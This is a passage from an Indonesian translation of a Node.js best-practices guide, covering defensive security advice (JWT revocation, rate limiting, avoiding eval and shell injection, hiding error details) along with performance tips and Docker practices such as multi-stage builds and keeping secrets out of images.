ekspektasi. Untuk menghindari kode validasi yang berantakan dalam setiap rute Anda dapat menggunakan validasi skema berbasis JSON yang ringan seperti [jsonschema](https://www.npmjs.com/package/jsonschema) atau [joi](https://www.npmjs.com/package/joi)\n\n**Jika tidak:** Kemurahan hati dan cara permisif Anda dapat meningkatkan kemungkinan penyerangan dan mendorong penyerang untuk mencoba banyak masukan sampai mereka menemukan beberapa kombinasi untuk merusak aplikasi\n\n🔗 [**Baca selengkapnya: Validate incoming JSON schemas**](./sections/security/validation.md)\n\n<br/><br/>\n\n## ![✔] 6.11. Dukung daftar hitam JWT\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Ketika menggunakan _JSON Web Tokens_ (misalnya, dengan [Passport.js](https://github.com/jaredhanson/passport)), secara default tidak ada cara untuk mencabut akses dari token yang dibuat. Setelah Anda menemukan beberapa aktifitas pengguna yang berbahaya, tidak ada cara untuk mengentikan mereka dari mengakses sistem selama mereka mempunyai token yang valid. Hindari ini dengan menerapkan daftar hitam untuk token yang tidak tepercaya yang divalidasi pada setiap request.\n\n**Jika tidak:** Token yang kedaluwarsa atau salah ditempatkan dapat digunakan secara jahat oleh pihak ketiga untuk mengakses aplikasi dan menyamar sebagai pemilik token.\n\n🔗 [**Baca selengkapnya: Blacklist JSON Web Tokens**](./sections/security/expirejwt.md)\n\n<br/><br/>\n\n## ![✔] 6.12. Cegah serangan _brute-force_ terhadap otorisasi\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Teknik sederhana dan kuat adalah membatasi upaya otorisasi menggunakan dua metrik:\n\n1. Pertama adalah upaya gagal berturut-turut oleh ID / nama unik dan alamat IP yang sama.\n2. Kedua adalah jumlah upaya gagal dari sebuah alamat IP selama jangka waktu yang lama. Misalnya, blokir alamat IP jika IP tersebut melakukan 100 upaya gagal dalam satu hari.\n\n**Jika tidak:** Penyerang dapat melakukan percobaan kata sandi otomatis tanpa batas untuk mendapatkan akses ke akun yang memiliki hak istimewa pada suatu aplikasi\n\n🔗 [**Baca selengkapnya: Login rate limiting**](./sections/security/login-rate-limit.md)\n\n<br/><br/>\n\n## ![✔] 6.13. Jalankan Node.js sebagai pengguna yang bukan root\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Ada skenario umum di mana Node.js dijalankan sebagai pengguna root dengan izin tanpa batas. Misalnya, ini adalah perilaku default di kontainer Docker. Direkomendasikan untuk membuat pengguna yang bukan root dan _bake_ pengguna itu ke dalam _Docker image_ (contoh ada di bawah) atau jalankan proses atas nama pengguna ini dengan menjalankan kontainer dengan _flag_ \"-u username\"\n\n**Jika tidak:** Penyerang yang berhasil menjalankan skrip di server mendapatkan kekuatan tak terbatas atas mesin lokal (misalnya mengganti iptable dan merutekan ulang traffic ke servernya)\n\n🔗 [**Baca selengkapnya: Run Node.js as non-root user**](./sections/security/non-root-user.md)\n\n<br/><br/>\n\n## ![✔] 6.14. Batasi ukuran payload menggunakan reverse-proxy atau middleware\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Semakin besar ukuran payload-nya, semakin sulit thread tunggal Anda untuk memprosesnya. Ini adalah kesempatan bagi penyerang untuk membuat server bertekuk lutut tanpa banyak mengirimkan request (penyerangan DOS/DDOS). Hindari ini dengan membatasi ukuran body dari request yang masuk di ujung (misalnya firewall, ELB) atau mengonfigurasi [express body parser](https://github.com/expressjs/body-parser) agar hanya menerima payload dengan ukuran kecil\n\n**Jika tidak:** Aplikasi Anda harus menangani request yang besar, tidak dapat memproses pekerjaan penting lainnya yang harus diselesaikan, yang mengarah ke implikasi performa dan kerentanan terhadap serangan DOS\n\n🔗 [**Baca selengkapnya: Limit payload size**](./sections/security/requestpayloadsizelimit.md)\n\n<br/><br/>\n\n## ![✔] 6.15. Hindari statement eval pada JavaScript\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** `eval` sangat buruk karena memungkinkan untuk mengeksekusi kode JavaScript dalam _run time_. Ini bukan hanya menjadi perhatian dalam performa tetapi juga perhatian dalam masalah keamanan penting karena kode JavaScript dapat bersumber dari masukan pengguna. Fitur bahasa lain yang harus dihindari adalah konstruktor `new Function`. `setTimeout` dan `setInterval` juga tidak boleh diberikan kode JavaScript yang dinamis.\n\n**Jika tidak:** Kode JavaScript yang berbahaya menemukan jalan ke dalam teks yang diteruskan ke `eval` atau fungsi evaluasi _real-time_ bahasa Javascript lainnya, dan akan mendapatkan akses penuh ke izin JavaScript di halaman tersebut. Kerentanan ini sering kali diwujudkan sebagai serangan XSS.\n\n🔗 [**Baca selengkapnya: Avoid JavaScript eval statements**](./sections/security/avoideval.md)\n\n<br/><br/>\n\n## ![✔] 6.16. Cegah RegEx yang buruk agar tidak membebani eksekusi thread tunggal Anda\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** _Regular Expressions_, meskipun berguna, dapat menimbulkan ancaman pada aplikasi JavaScript secara luas, dan platform Node.js pada khususnya. Masukan teks pengguna mungkin memerlukan jumlah siklus CPU yang luar biasa untuk diproses. Pemrosesan RegEx mungkin tidak efisien sampai-sampai satu request yang memvalidasi 10 kata dapat memblokir seluruh event loop selama 6 detik dan membuat CPU-nya 🔥. Oleh karena itu, gunakan paket validasi pihak ketiga seperti [validator.js](https://github.com/chriso/validator.js) daripada menuliskan pola Regex Anda sendiri, atau gunakan [safe-regex](https://github.com/substack/safe-regex) untuk mendeteksi pola regex yang rentan\n\n**Jika tidak:** Regex yang ditulis dengan buruk dapat rentan terhadap serangan DoS Regular Expression yang akan memblokir event loop sepenuhnya. MIsalnya, paket `moment` yang populer ditemukan rentan terhadap penggunaan Regex pada November 2017\n\n🔗 [**Baca selengkapnya: Prevent malicious RegEx**](./sections/security/regex.md)\n\n<br/><br/>\n\n## ![✔] 6.17. Hindari pemuatan modul menggunakan variabel\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Hindari pemuatan file lain dengan jalur yang diberikan sebagai parameter karena dikhawatirkan dapat berasal dari masukan pengguna. Aturan ini dapat diperluas untuk mengakses file secara umum (yaitu `fs.readFile()`) atau pengaksesan sumber sensitif lainnya dengan variabel dinamis yang berasal dari masukan pengguna. Linter [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) dapat menangkap pola seperti itu dan memberi peringatan cukup dini\n\n**Jika tidak:** Masukan pengguna yang berbahaya dapat menemukan jalannya ke parameter yang digunakan untuk memuat file, misalnya, file yang sebelumnya diunggah ke sistem file, atau pengaksesan file sistem yang sudah ada.\n\n🔗 [**Baca selengkapnya: Safe module loading**](./sections/security/safemoduleloading.md)\n\n<br/><br/>\n\n## ![✔] 6.18. Jalankan kode yang tidak aman di sandbox\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Saat ditugaskan untuk menjalankan kode eksternal yang diberikan pada run-time (misalnya plugin), gunakan segala jenis lingkungan eksekusi 'sandbox' yang mengisolasi dan melindungi kode utama dari plugin tersebut. Hal ini dapat dicapai dengan menggunakan proses khusus (misalnya `cluster.fork()`), lingkungan _serverless_ atau paket npm khusus yang bertindak sebagai sandbox\n\n**JIka tidak:** Sebuah plugin dapat menyerang dengan berbagai pilihan seperti perulangan tak terbatas, memberi muatan lebih pada memori, dan mengakses variabel lingkungan sensitif pada proses\n\n🔗 [**Baca selengkapnya: Run unsafe code in a sandbox**](./sections/security/sandbox.md)\n\n<br/><br/>\n\n## ![✔] 6.19. Berhati-hati saat menggunakan _child processes_\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Hindari penggunaan _child processes_ jika memungkinkan dan validasi serta sanitasi masukan untuk menghindari serangan injeksi shell jika Anda masih perlu menggunakannya. Utamakan penggunaan `child_process.execFile` yang menurut definisi hanya akan menjalankan satu perintah dengan sekumpulan atribut dan tidak akan mengizinkan perluasan parameter shell.\n\n**Jika tidak:** Penggunaan child process yang naif dapat mengakibatkan eksekusi perintah secara remote atau serangan injeksi shell karena masukan pengguna yang berbahaya diteruskan ke perintah sistem yang tidak disanitasi.\n\n🔗 [**Baca selengkapnya: Be cautious when working with child processes**](./sections/security/childprocesses.md)\n\n<br/><br/>\n\n## ![✔] 6.20. Sembunyikan detail kesalahan dari klien\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Penangan kesalahan express menyembunyikan detail kesalahan secara default. Namun, besar kemungkinan Anda menerapkan logika penanganan kesalahan Anda sendiri dengan objek Error kustom (dianggap sebagai praktik terbaik oleh banyak orang). Jika iya, pastikan Anda tidak mengembalikan seluruh objek error ke klien, yang mungkin mengandung beberapa informasi aplikasi yang sensitif\n\n**Jika tidak:** Informasi sensitif aplikasi seperti path file server, modul pihak ketiga yang digunakan, dan alur kerja internal aplikasi lainnya yang dapat dieksploitasi oleh penyerang, dapat dibocorkan dari informasi yang ditemukan di dalam stack trace\n\n🔗 [**Baca selengkapnya: Hide error details from client**](./sections/security/hideerrors.md)\n\n<br/><br/>\n\n## ![✔] 6.21. Konfigurasi 2FA untuk npm atau Yarn\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Setiap langkah dalam rantai pengembangan harus dilindungi dengan MFA (_multi-factor authentication_), npm/Yarn menjadi peluang yang bagus bagi penyerang yang ingin mendapatkan kata sandi pengembang. Dengan menggunakan kredensial pengembang, penyerang dapat memasukkan kode berbahaya ke dalam pustaka yang diinstal secara luas di seluruh proyek dan layanan. Bahkan mungkin di seluruh web jika dipublikasikan. Mengaktifkan _2-factor-authentication_ dalam npm akan meninggalkan hampir nol peluang bagi penyerang untuk mengubah kode paket Anda.\n\n**Jika tidak:** [Pernahkah Anda mendengar tentang pengembang eslint yang kata sandinya dibajak?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. Ubah pengaturan middleware sesi\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Setiap framework dan teknologi web mempunyai kelemahannya masing-masing - memberi tahu penyerang framework web apa yang digunakan sangat membantu mereka. Menggunakan setelan default untuk middleware sesi dapat membuat aplikasi Anda terkena pembajakan spesifik untuk module dan framework dengan cara yang mirip dengan header `X-Powered-By`. Coba sembunyikan apa pun yang mengidentifikasikan dan mengungkapkan teknologi yang Anda gunakan (misalnya Node.js, express)\n\n**Jika tidak:** Cookie dapat dikirim melalui koneksi yang tidak aman, dan penyerang dapat menggunakan identifikasi sesi untuk mengidentifikasi framework dari aplikasi web, serta kerentanan masing-masing modul\n\n🔗 [**Baca selengkapnya: Cookie and session security**](./sections/security/sessions.md)\n\n<br/><br/>\n\n## ![✔] 6.23. Hindari serangan DOS dengan mengatur kapan proses harus berhenti secara eksplisit\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Proses Node akan berhenti ketika ada kesalahan yang tidak ditangani. Banyak praktik terbaik bahkan merekomendasikan untuk menghentikan aplikasi meskipun ada kesalahan yang tertangkap dan ditangani. Express, misalnya, akan berhenti jika ada kesalahan asinkron apa pun - kecuali Anda membungkus rute dengan klausa catch. Ini memberikan kesempatan serangan yang sangat bagus bagi penyerang yang mengetahui masukan apa yang memberhentikan proses dan mengirim request yang sama berulang kali. Tidak ada solusi instan untuk ini tapi ada beberapa teknik yang dapat mengurangi hal ini: Beri peringatan kritis setiap kali proses berhenti karena ada kesalahan yang ditangani, validasi masukan dan hindari memberhentikan proses karena masukan pengguna tidak valid, bungkus semua rute dengan catch dan pertimbangkan untuk tidak memberhentikan aplikasi ketika kesalahan berasal dari dalam request (alih-alih apa yang terjadi secara global)\n\n**Jika tidak:** Ini hanya tebakan: mengingat banyak aplikasi Node.js, jika kita memberikan JSON kosong ke semua request POST - banyak aplikasi akan berhenti. Pada saat itu, kita dapat mengirim permintaan yang sama berulang kali untuk memberhentikan aplikasi itu dengan mudah\n\n<br/><br/>\n\n## ![✔] 6.24. Hindari pengalihan yang tidak aman\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Pengalihan yang tidak memvalidasi masukan pengguna dapat memungkinkan penyerang untuk meluncurkan penipuan phising, mencuri kredensial pengguna, dan melakukan tindakan berbahaya lainnya.\n\n**Jika tidak:** Jika penyerang menemukan bahwa Anda tidak memvalidasi masukan eksternal yang diberikan oleh pengguna, mereka dapat mengeksploitasi kerentanan ini dengan memposting tautan yang dibuat khusus di forum, media sosial, dan tempat publik lainnya agar pengguna mengkliknya.\n\n🔗 [**Baca selengkapnya: Prevent unsafe redirects**](./sections/security/saferedirects.md)\n\n<br/><br/>\n\n## ![✔] 6.25. Hindari menerbitkan rahasia ke registri npm\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Tindakan pencegahan harus diambil untuk menghindari risiko penerbitan rahasia ke registri publik npm secara tidak sengaja. File `.npmignore` dapat digunakan untuk memasukkan file atau folder ke dalam blacklist, atau array `files` dalam `package.json` dapat digunakan sebagai whitelist.\n\n**Jika tidak:** Kunci API, kata sandi atau rahasia lain proyek Anda dapat disalahgunakan oleh siapapun yang menemukannya, yang dapat mengakibatkan kerugian finansial, peniruan identitas, dan risiko lainnya.\n\n🔗 [**Baca selengkapnya: Avoid publishing secrets**](./sections/security/avoid_publishing_secrets.md)\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#daftar-isi\">⬆ Kembali ke atas</a></p>\n\n# `7. Draf: Praktik Terbaik Performa`\n\n## Kontributor kami sedang mengerjakan bagian ini. [Ingin bergabung?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. Jangan memblokir _event loop_\n\n**TL;DR:** Hindari pekerjaan yang intensif CPU karena mereka akan memblokir _Event Loop_ dalam satu _thread_ dan pindahkan pekerjaan ini ke _thread_ khusus, proses atau bahkan teknologi yang berbeda berdasarkan konteksnya.\n\n**Jika tidak:** Ketika _Event Loop_ diblokir, Node.js tidak akan dapat menangani permintaan lain sehingga menyebabkan penundaan bagi pengguna lain. **3000 pengguna sedang menunggu tanggapan, konten siap diberikan, tapi satu permintaan mencegah server-nya untuk mengirimkan hasilnya**\n\n🔗 [**Baca selengkapnya: Do not block the event loop**](./sections/performance/block-loop.md)\n\n<br /><br /><br />\n\n## ![✔] 7.2. Utamakan penggunaan metode JS asli daripada utilitas berlebihan seperti Lodash\n\n**TL;DR:** Sering kali lebih merugikan jika menggunakan pustaka seperti `lodash` dan `underscore` daripada metode asli karena mengarah kepada dependensi yang tidak diperlukan dan memperlambat performa.\nIngatlah bahwa dengan diperkenalkannya mesin V8 baru bersama dengan standar ES baru, metode asli telah ditingkatkan sehingga sekarang sekitar 50% lebih baik daripada pustaka utilitas.\n\n**Jika tidak:** Anda harus mengurus proyek dengan kinerja yang lebih rendah di mana Anda dapat menggunakan apa yang **sudah** ada atau berurusan dengan lebih sedikit baris namun lebih banyak file sebagai gantinya.\n\n🔗 [**Baca selengkapnya: Native over user land utils**](./sections/performance/nativeoverutil.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#daftar-isi\">⬆ Kembali ke atas</a></p>\n\n# `8. Praktik Terbaik Docker`\n\n🏅 Terima kasih banyak kepada [Bret Fisher](https://github.com/BretFisher) yang mengajari kami banyak dari praktik berikut\n\n<br/><br/>\n\n## ![✔] 8.1 Gunakan build multi tahap untuk gambar Docker yang lebih kecil dan aman\n\n**TL;DR:** Gunakan build multi tahap hanya untuk menyalin artefak produksi yang diperlukan. Banyak file dan dependensi build-time yang tidak diperlukan untuk menjalankan aplikasi Anda. Dengan build multi tahap resource ini dapat digunakan selama build sementara lingkungan runtime hanya berisikan dengan resource yang diperlukan. Build multi tahap adalah cara mudah untuk menyingkirkan kelebihan berat dan ancaman keamanan.\n\n**Jika tidak:** Gambar yang lebih besar akan memakan waktu yang lebih lama untuk di-build dan dikirim, alat khusus build mungkin mengandung kerentanan dan rahasia yang hanya dimaksudkan untuk fase build mungkin dapat bocor.\n\n### Contoh dockerfle untuk build multi tahap\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY . .\nRUN npm ci && npm run build\n\n\nFROM node:slim-14.4.0\n\nUSER node\nEXPOSE 8080\n\nCOPY --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/package-lock.json ./\nRUN npm ci --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n🔗 [**Baca selengkapnya: Use multi-stage builds**](./sections/docker/multi_stage_builds.md)\n\n<br /><br /><br />\n\n## ![✔] 8.2. Lakukan bootstrap menggunakan perintah 'node', hindari npm start\n\n**TL;DR:** Gunakan `CMD ['node','server.js']` untuk memulai aplikasi Anda, hindari menggunakan skrip npm yang tidak meneruskan sinyal OS ke kode. Ini mencegah masalah dengan proses anak, penanganan sinyal, pemberhentian yang baik dan proses zombie.\n\n**Jika tidak:** Ketika tidak ada sinyal yang dilewatkan, kode Anda tidak akan pernah diberi tahu tentang penghentian. Tanpa itu, kode Anda akan kehilangan kesempatan untuk berhenti dengan benar dan kehilangan permintaan dan/atau data dapat terjadi.\n\n[**Baca selengkapnya: Bootstrap container using node command, avoid npm start**](./sections/docker/bootstrap-using-node.md)\n\n<br /><br /><br />\n\n## ![✔] 8.3. Biarkan runtime Docker menangani replikasi dan uptime\n\n**TL;DR:** Ketika menggunakan orkestrator run time Docker (misalnya Kubernetes), aktifkan proses Node.js seecara langsung tanpa manajer proses perantara atau kode khusus yang mereplikasi proses (misalnya PM2, modul Cluster). Platform runtime mempunyai jumlah data dan visibilitas tertinggi untuk membuat keputusan penempatan - Platform ini mengetahui dengan baik berapa banyak proses yang diperlukan, cara menyebarkannya dan apa yang harus dilakukan jika terjadi kerusakan\n\n**Jika tidak:** Kontainer tetap rusak karena kekurangan sumber daya akan dimulai ulang tanpa batas oleh manajer proses. Jika Kubernetes menyadari hal ini, Kubernetes dapat memindahkannya ke banyak instance yang berbeda\n\n🔗 [**Baca selengkapnya: Let the Docker orchestrator restart and replicate processes**](./sections/docker/restart-and-replicate-processes.md)\n\n<br/><br /><br />\n\n## ![✔] 8.4. Gunakan .dockerignore untuk mencegah pembocoran rahasia\n\n**TL;DR**: Sertakan file `.dockerignore` yang memfilter file rahasia umum dan artefak pengembangan. Dengan melakukan itu, Anda dapat mencegah kebocoran rahasia ke dalam gambar. Sebagai bonus waktu build akan berkurang secara signifikan. Pastikan juga untuk tidak menyalin semua file secara rekursif melainkan pilih file yang harus disalin ke Docker secara eksplisit\n\n**Jika tidak**: File rahasia pribadi umum seperti `.env`, `.aws` dan `.npmrc` akan dibagikan dengan siapapun yang memiliki akses ke image (misalnya repositori Docker)\n\n🔗 [**Baca selengkapnya: Use .dockerignore**](./sections/docker/docker-ignore.md)\n\n<br /><br /><br />\n\n## ![✔] 8.5. Bersihkan dependensi sebelum produksi\n\n**TL;DR:** Meskipun dependensi pengembangan terkadang diperlukan selama siklus hidup build pengujian, pada akhirnya gambar yang dikirim ke produksi harus minimal dan bersih dari dependensi pengembangan. Hal tersebut dapat menjamin hanya kode yang diperlukan yang dikirim dan jumlah potensi serangan (misalnya attack surface) diminimalkan. Ketika menggunakan build multi tahap (lihat poin khusus) hal ini dapat dicapai dengan menginstal semua dependensi terlebih dahulu dan kemudian menjalankan `npm ci --production`\n\n**Jika tidak:** Banyak penerobosan keamanan npm yang buruk ditemukan dalam paket pengembangan (misalnya [eslint-scope](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes))\n\n🔗 [\\*\\*Baca selengkapnya: Remove development dependencies](./sections/docker/install-for-production.md)\n\n<br /><br /><br />\n\n## ![✔] 8.6. Matikan aplikasi dengan baik dan cerdas\n\n**TL;DR:** Tangani proses event SIGTERM dan bersihkan semua koneksi dan sumber daya yang ada. Hal ini harus dilakukan sambil menanggapi permintaan yang sedang berlangsung. Dalam runtime Docker, mematikan kontainer bukanlah peristiwa yang jarang terjadi, melainkan sesuatu yang sering terjadi sebagai bagian dari pekerjaan rutin. Untuk mencapai hal ini, diperlukan beberapa kode yang baik untuk mengatur beberapa bagian yang bergerak: load balancer, koneksi keep-alive, server HTTP dan sumber daya lainnya\n\n**Jika tidak:** Mematikan aplikasi secara langsung berarti tidak menanggapi ribuan pengguna yang kecewa\n\n🔗 [**Baca selengkapnya: Graceful shutdown**](./sections/docker/graceful-shutdown.md)\n\n<br /><br /><br />\n\n## ![✔] 8.7. Tetapkan batas memori menggunakan Docker dan v8\n\n**TL;DR:** Selalu konfigurasikan batas memori menggunakan Docker dan runtime flag JavaScript. Batas pada Docker diperlukan untuk membuat keputusan penempatan kontainer yang baik, flag `max-old-space` pada --v8 diperlukan untuk memulai GC tepat waktu untuk mencegah penggunaan memori yang kurang. Secara praktis, tetapkan batas memori `max-old-space` pada v8 sedikit lebih rendah dari pada batas memori kontainer\n\n**Jika tidak:** Definisi Docker diperlukan untuk melakukan keputusan penskalaan yang baik dan mencegah kelaparan warga lain. Tanpa menentukan batas pada v8 juga, sumber daya kontainer juga akan kurang digunakan oleh Node - Tanpa instruksi eksplisit Node akan berhenti saat menggunakan ~50-60% dari sumber daya hostnya\n\n🔗 [**Baca selengkapnya: Set memory limits using Docker only**](./sections/docker/memory-limit.md)\n\n<br /><br /><br />\n\n## ![✔] 8.8. Rencanakan caching yang efisien\n\n**TL;DR:** Membangun ulang seluruh image docker dari cache dapat dilakukan hampir seketika jika dilakukan dengan benar. Instruksi yang jarang diperbarui harus berada di atas Dockerfile Anda dan yang terus berubah (seperti kode app) harus berada di bawah.\n\n**Jika tidak:** Build Docker akan sangat lama dan memakan banyak sumber daya bahkan saat melakukan perubahan kecil\n\n🔗 [**Baca selengkapnya: Leverage caching to reduce build times**](./sections/docker/use-cache-for-shorter-build-time.md)\n\n<br /><br /><br />\n\n## ![✔] 8.9. Gunakan referensi gambar eksplisit, hindari tag `latest`\n\n**TL;DR:** Tentukan `digest` eksplisit gambar atau label berversi, jangan pernah merujuk ke `latest`. Pengembang sering kali percaya bahwa menetapkan tag `latest` akan memberi mereka gambar terbaru di repositori namun hal ini tidak benar. Menggunakan `digest` menjamin bahwa setiap instansi layanan menjalankan kode yang sama persis.\n\nSelain itu, merujuk ke sebuah tag gambar berarti gambar dasar dapat berubah, karena tag image tidak dapat diandalkan untuk penginstalan deterministik. Jika penginstalan deterministik diharapkan, digest SHA256 dapat digunakan untuk mereferensikan ke gambar yang tepat.\n\n**Jika tidak:** Versi baru gambar dasar dapat dideploy ke produksi dengan perubahan yang dapat merusak, menyebabkan perilaku aplikasi yang tidak diinginkan.\n\n🔗 [**Baca selengkapnya: Understand image tags and use the \"latest\" tag with caution**](./sections/docker/image-tags.md)\n\n<br /><br /><br />\n\n## ![✔] 8.10. Utamakan gambar dasar Docker yang lebih kecil\n\n**TL;DR:** Gambar yang besar mempunyai tingkat kerentanan yang lebih tinggi dan meningkatkan konsumsi sumber daya. Menggunakan gambar docker yang lebih ramping, seperti varian Linux Slim dan Alpine, dapat mengurangi masalah ini.\n\n**Jika tidak:** Membangun, mendorong, dan menarik gambar akan membutuhkan waktu yang lebih lama, vektor serangan yang tidak diketahui dapat digunakan oleh aktor jahat dan lebih banyak sumber daya yang dikonsumsi.\n\n🔗 [**Baca selengkapnya: Prefer smaller images**](./sections/docker/smaller_base_images.md)\n\n<br /><br /><br />\n\n## ![✔] 8.11. Bersihkan rahasia pada build-time, hindari rahasia di args\n\n**TL;DR:** Hindari rahasia yang bocor dari lingkungan build Docker. Gambar Docker biasanya terbagi di beberapa lingkungan seperti CI dan registri yang tidak disterilkan seperti lingkungan produksi. Contoh tipikalnya adalah token npm yang biasanya diteruskan ke dockerfile sebagai argumen. Token ini tetap berada di dalam gambar lama setelah diperlukan dan memungkinkan penyerang mengakses tanpa batas ke registri npm pribadi. Hal ini dapat dihindari dengan mengatasi file rahasia seperti `.npmrc` dan kemudian menghapusnya menggunakan build mutli tahap (hati-hati, rahasia build juga harus dihapus) atau dengan menggunakan fitur rahasia build-kit Docker yang tidak meninggalkan jejak\n\n**Jika tidak:** Setiap orang yang mempunyai akses ke CI dan registri Docker juga akan mendapatkan akses ke rahasia organisasi yang berharga sebagai bonus\n\n🔗 [**Baca selengkapnya: Clean-out build-time secrets**](./sections/docker/avoid-build-time-secrets.md)\n\n<br /><br /><br />\n\n## ![✔] 8.12. Pindai gambar untuk menemukan lapisan kerentanan\n\n**TL;DR:** Selain memeriksa kerentanan kode dependensi pastikan juga untuk memindai gambar akhir yang dikirim ke produksi. Pemindai gambar Docker memeriksa kode dependensi tapi juga binari OS. Pemindaian keamanan E2E ini mencakup lebih banyak hal dan memverifikasi 